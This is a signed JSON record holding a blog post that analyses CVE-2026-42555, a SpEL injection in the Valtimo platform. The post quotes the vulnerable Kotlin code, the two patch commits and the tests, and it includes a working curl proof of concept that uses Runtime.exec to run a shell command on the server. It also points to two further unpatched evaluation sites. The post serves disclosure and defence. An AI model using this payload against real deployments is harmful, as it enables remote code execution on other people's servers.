-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"The advisory was published May 1, 2026 against `com.ritense.valtimo:case` (≥ 13.0.0, < 13.23.0), `com.ritense.valtimo:contract` (≥ 13.4.0, < 13.23.0), and `com.ritense.valtimo:document` (≥ 12.0.0, < 12.32.0). CVSS 9.1, CWE-94, EPSS 0.232%, not on the CISA Known Exploited Vulnerabilities catalog. The patch commit is `fe2d5c282` in the `valtimo-platform/valtimo` monorepo, authored by Maxim Buur on April 3, 2026.\n\n## The admin in this CVE is a workflow designer, not a sysadmin\n\nValtimo is the less-code business-process automation platform sold by Ritense BV out of Den Bosch, Netherlands. The platform's pitch to customers is that business analysts wire up case-management workflows, document migrations, and authorization rules without writing Kotlin. The tier of user that does that wiring carries an `ADMIN` authority in Spring Security. The same word that names a Linux superuser names, here, the workflow designer.\n\nThe two REST endpoints called out in the advisory are gated by exactly that admin authority:\n\n```kotlin\n// backend/case/src/main/kotlin/com/ritense/document/security/DocumentMigrationHttpSecurityConfigurer.kt\n.antMatcher(POST, \"/api/management/v1/document-definition/migration/conflicts\").hasAuthority(ADMIN)\n.antMatcher(POST, \"/api/management/v1/document-definition/migrate\").hasAuthority(ADMIN)\n```\n\nA workflow designer was supposed to send a `DocumentMigrationRequest` describing how a case schema's fields map from one version to the next. Each `DocumentMigrationPatch` in the request takes either a JSON Pointer (`/customerName`) or a SpEL expression (`${source.firstName + ' ' + source.lastName}`):\n\n```kotlin\n// backend/case/src/main/kotlin/com/ritense/document/domain/DocumentMigrationPatch.kt\ndata class DocumentMigrationPatch(\n val source: String,\n val target: String?,\n val error: String? = null\n) {\n fun sourceIsJsonPointer(): Boolean = source.startsWith('/')\n fun sourceIsSpelExpression(): Boolean = source.startsWith('$')\n ...\n}\n```\n\nThe PoC arrives in the second branch. The CVSS for this CVE is 9.1 with PR:H, where the \"H\" reads, to a defender allocating remediation budget, like \"root.\" In Valtimo it means \"tenant admin.\" The CVE record uses the same word for the user that designs workflows and the user that owns the JVM. Read literally, the two were equivalent. The patch is the work of separating them.\n\n## The endpoint runs whatever expression you put in the request body\n\nHere is the pre-patch evaluation, from `DocumentMigrationService.kt` at the commit before `fe2d5c282`:\n\n```kotlin\nfun handleSpelExpression(expression: String, contextMap: Map): Any? {\n val parserContext = TemplateParserContext(\"\\${\", \"}\")\n\n val jsonPropertyAccessor = JsonPropertyAccessor()\n jsonPropertyAccessor.setObjectMapper(objectMapper)\n val evaluationContext = StandardEvaluationContext()\n evaluationContext.addPropertyAccessor(MapAccessor())\n evaluationContext.addPropertyAccessor(jsonPropertyAccessor)\n\n return SpelExpressionParser()\n .parseExpression(expression, parserContext)\n .getValue(evaluationContext, contextMap, Any::class.java)\n}\n```\n\nThat is the entire sink. The `expression` parameter is the `target` (or `source`) field of a `DocumentMigrationPatch` deserialized from the request body. The `contextMap` is built one frame up:\n\n```kotlin\nfun getSpelContextMap(...): MutableMap {\n val contextMap: MutableMap = applicationContext.getBeansWithAnnotation(PublicBean::class.java)\n contextMap[\"source\"] = source\n contextMap[\"target\"] = target\n contextMap[\"builder\"] = builder\n contextMap[\"patch\"] = patch\n contextMap[\"sourceValue\"] = sourceValue?.value\n return contextMap\n}\n```\n\nEvery Spring bean annotated `@PublicBean` is exposed as a name the expression can reach. None of that matters once `StandardEvaluationContext()` is the evaluator, because `StandardEvaluationContext` admits the type literal `T(...)`. Any class on the JVM classpath becomes the root of an expression. The full chain:\n\n```bash\ncurl -X POST https://valtimo.example.com/api/management/v1/document-definition/migrate \\\n -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer ' \\\n -d '{\n \"documentDefinitionNameSource\": \"old-schema\",\n \"documentDefinitionNameTarget\": \"new-schema\",\n \"patches\": [{\n \"source\": \"/customerName\",\n \"target\": \"${T(java.lang.Runtime).getRuntime().exec(new String[]{\\\"sh\\\",\\\"-c\\\",\\\"id>/tmp/pwned\\\"})}\"\n }]\n }'\n```\n\nThe request returns 200. The host has a new file at `/tmp/pwned` owned by the Valtimo JVM user.\n\nThe second sink is `Condition`, in `backend/contract`. Every admin-configured condition runs through `resolveValue`, which builds a `StandardEvaluationContext` over a `ConditionSpelEvaluationContext` root and evaluates the admin's string:\n\n```kotlin\n// pre-patch, backend/contract/src/main/kotlin/com/ritense/valtimo/contract/conditions/Condition.kt\nprivate fun resolveValue(value: T): Any? {\n return (value as? String)?.let {\n if (it.isNotEmpty() && it.startsWith(\"\\${\") && it.endsWith('}')) {\n val parser = SpelExpressionParser()\n val expressionWithoutPrefixSuffix = it.substringAfter(\"\\${\").substringBefore(\"}\")\n\n val expressionContextRoot = getExpressionContextRoot()\n val context = StandardEvaluationContext()\n\n context.setRootObject(expressionContextRoot)\n\n val spelExpression = parser.parseExpression(expressionWithoutPrefixSuffix)\n return spelExpression.getValue(context)\n } else {\n value\n }\n } ?: value\n}\n```\n\nThe intended surface for that root, in its entirety, is six properties:\n\n```kotlin\n// backend/contract/src/main/kotlin/com/ritense/valtimo/contract/conditions/ConditionSpelEvaluationContext.kt\nclass ConditionSpelEvaluationContext {\n val localDateTimeNow = LocalDateTime.now()\n val currentUserId = CurrentUserExpressionHandler.currentUser().id\n val currentUserEmail = CurrentUserExpressionHandler.currentUser().email\n val currentUserRoles = CurrentUserExpressionHandler.currentUser().roles\n val currentUsername = CurrentUserExpressionHandler.currentUser().username\n val currentUserIdentifier = CurrentUserExpressionHandler.currentUser().username\n}\n```\n\nSix properties. That is the entire surface a condition was designed to address. Under `StandardEvaluationContext` those six properties sit on the same dispatch table as every class on the classpath, addressable through `T(...)`.\n\n## Standard means unrestricted. Simple means safe. The names are upside down.\n\nSpring's documentation describes `StandardEvaluationContext` as \"a powerful and configurable evaluation context\" and `SimpleEvaluationContext` as \"intended to support only a subset of the SpEL language syntax.\" Read those two phrases in a code-review afternoon and you have a developer who reaches for the powerful one. The naming is the lure. `StandardEvaluationContext` reads as the default; `SimpleEvaluationContext` reads as the toy. The security boundary is the opposite of what the names suggest.\n\nValtimo's developer encountered the choice three times in this codebase, in three different modules, written months apart, and made it the same way every time. The release note for 13.23.0 names the substrate by name:\n\n> Fixed SpEL injection vulnerability. `DocumentMigrationService` and `Condition` evaluated user-supplied SpEL expressions using `StandardEvaluationContext`, which grants unrestricted access to Java types and methods. An authenticated admin could exploit this to execute arbitrary OS commands, exfiltrate environment variables, or load arbitrary classes. Both classes now use `SimpleEvaluationContext`, which only allows property access and blocks type references, method invocation, and constructors.\n\n\"Both classes.\" The release note explicitly names two, fixes two, ships.\n\n## The first patch broke `plusMinutes`. The second patch admitted why.\n\nThe fix landed on April 3, 2026, in commit `fe2d5c282` at 09:49:00 +0200:\n\n```diff\n-import org.springframework.expression.spel.support.StandardEvaluationContext\n+import org.springframework.expression.spel.support.SimpleEvaluationContext\n ...\n- val context = StandardEvaluationContext()\n-\n- context.setRootObject(expressionContextRoot)\n+ val context = SimpleEvaluationContext\n+ .forReadOnlyDataBinding()\n+ .withRootObject(expressionContextRoot)\n+ .build()\n```\n\n`forReadOnlyDataBinding()` is the strictest factory `SimpleEvaluationContext` exposes. It permits property access on the root object and nothing else: no type references, no method invocation, no constructors. The commit shipped with four tests that pin the strictness:\n\n```kotlin\n@Test\nfun `should block SpEL type reference for Runtime exec`() {\n val condition = Condition(\n path = \"/xyz\",\n operator = ExpressionOperator.EQUAL_TO,\n value = \"\\${T(java.lang.Runtime).getRuntime().exec('id')}\" as Comparable\n )\n\n assertThrows {\n condition.isValid { \"some-value\" }\n }\n}\n```\n\nFour tests, four blocked primitives: `Runtime.exec`, `System.getenv`, `Class.forName`, `System.getProperties`. The next commit on the same file is fifty-nine minutes later, by the same author, on the same branch:\n\n```\nfe2d5c282 2026-04-03 09:49:00 +0200 fix spel expression security vulnerability\nf9d56f079 2026-04-03 10:48:53 +0200 allow method invocation on already accesible objects\n```\n\n`f9d56f079` adds a method resolver back into the context:\n\n```diff\n+import org.springframework.expression.spel.support.DataBindingMethodResolver\n import org.springframework.expression.spel.support.SimpleEvaluationContext\n ...\n val context = SimpleEvaluationContext\n .forReadOnlyDataBinding()\n+ .withMethodResolvers(DataBindingMethodResolver.forInstanceMethodInvocation())\n .withRootObject(expressionContextRoot)\n .build()\n```\n\nThe same commit ships the test that explains why:\n\n```kotlin\n@Test\nfun `should allow instance method calls like plusMinutes on LocalDateTime`() {\n val condition = Condition(\n path = \"/xyz\",\n operator = ExpressionOperator.LESS_THAN,\n value = \"\\${localDateTimeNow.plusMinutes(1)}\" as Comparable\n )\n\n val result = condition.isValid { LocalDateTime.now() }\n assertThat(result).isTrue()\n}\n```\n\nThe first patch was strict enough to block `Runtime.exec`. It was also strict enough to break every Valtimo deployment whose admins had written `${localDateTimeNow.plusMinutes(1)}` into a condition. Production noticed inside an hour. The second patch admits, in writing, that the actual threat model is not \"no methods.\" It is \"no escapes.\" `DataBindingMethodResolver.forInstanceMethodInvocation()` permits calling methods on objects already accessible in the context, and not the rest. The space between \"powerful\" and \"limited\" had to be reconstructed by the consumer because Spring's API does not ship a middle.\n\n## Spring's SpEL has been here many times\n\nThis is the design-debt-driver substrate, and underneath it the unpatchable-primitive that Spring cannot retire. `StandardEvaluationContext` plus `SpelExpressionParser` is a capability the framework ships because legitimate consumers, application-internal expressions evaluating server-controlled strings, depend on `T(...)` and method invocation. The class cannot be removed. Every consumer that imports it and feeds it caller-supplied data recreates the bug class. CVE-2026-42555 is its next instance. [CVE-2017-8046](/posts/spring-data-rest-pathtospel-did-what-its-name-said) wired JSON Patch path strings into a `SpelExpressionParser` and required three commits across two months to remove the `PathToSpEL` class that produced it. CVE-2022-22963 reached `T(java.lang.Runtime)` through Spring Cloud Function's routing-function expression header. CVE-2022-22947 reached it through Spring Cloud Gateway's route-configuration `filters[0]` field. CVE-2022-22965, known publicly as Spring4Shell, reached it through `getClass()` traversal in `WebDataBinder` under the same context class. Four CVEs, four products, one substrate. Each patch closed its consumer. The next CVE was the next product whose developer found the same two-name API and made the same choice.\n\nThe Valtimo monorepo, at the commit that ships the 13.23.0 fix, contains two more constructions of `StandardEvaluationContext()` in `backend/form-flow/src/main/kotlin/com/ritense/formflow/expression/spel/`:\n\n```kotlin\n// SpelExpressionProcessor.kt:32\nprivate val evaluationContext: EvaluationContext = StandardEvaluationContext(),\n\n// SpelExpressionProcessorFactory.kt:27\nval context = StandardEvaluationContext()\ncontext.addPropertyAccessor(MapAccessor())\ncontext.addPropertyAccessor(WritableJsonPropertyAccessor())\n```\n\nThe CVE record names two affected modules. The patch fixes two. The release note names two. Whether the third module's `formFlowBeans` reach the same admin role through a form-flow definition that an admin configures is the kind of question a CVE-by-CVE patch cadence does not answer, and the answer the patch did not give is what determines whether 13.23.0 is the last instance in this family or the second-to-last.\n\nPoC: [GHSA-j7j9-5253-f7vh](https://github.com/advisories/GHSA-j7j9-5253-f7vh)\n","closing_line":"The patch closes this CVE. The next Spring developer reading the docs this afternoon will see the words \"powerful\" and \"limited\" and reach for the powerful one.","hook_md":"Spring ships two evaluation contexts for SpEL. `StandardEvaluationContext` reaches `java.lang.Runtime`. `SimpleEvaluationContext` does not. Three classes in Ritense BV's Valtimo case-management platform picked the one whose name reads like a default. CVE-2026-42555 names the choice. The fix held for fifty-nine minutes before a second commit had to walk it back.","post_id":341,"slug":"valtimo-cve-2026-42555-standard-is-the-unsafe-one","title":"CVE-2026-42555: Standard Is the Name Spring Gave the Unsafe Context","type":"initial","unreadable_sentence":"The space between \"powerful\" and \"limited\" had to be reconstructed by the consumer because Spring's API does not ship a middle."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCajL7NgAKCRDeZjl4jgkQ JqtXAQC49YgLacNIn770L7E5DxYv/m8qg9khceqKb81ouLfiRgEAoNMKZhydtoKJ Fr4LhNdk5/4mssSfL7scWevFPLwh+AI= =FFmq -----END PGP SIGNATURE-----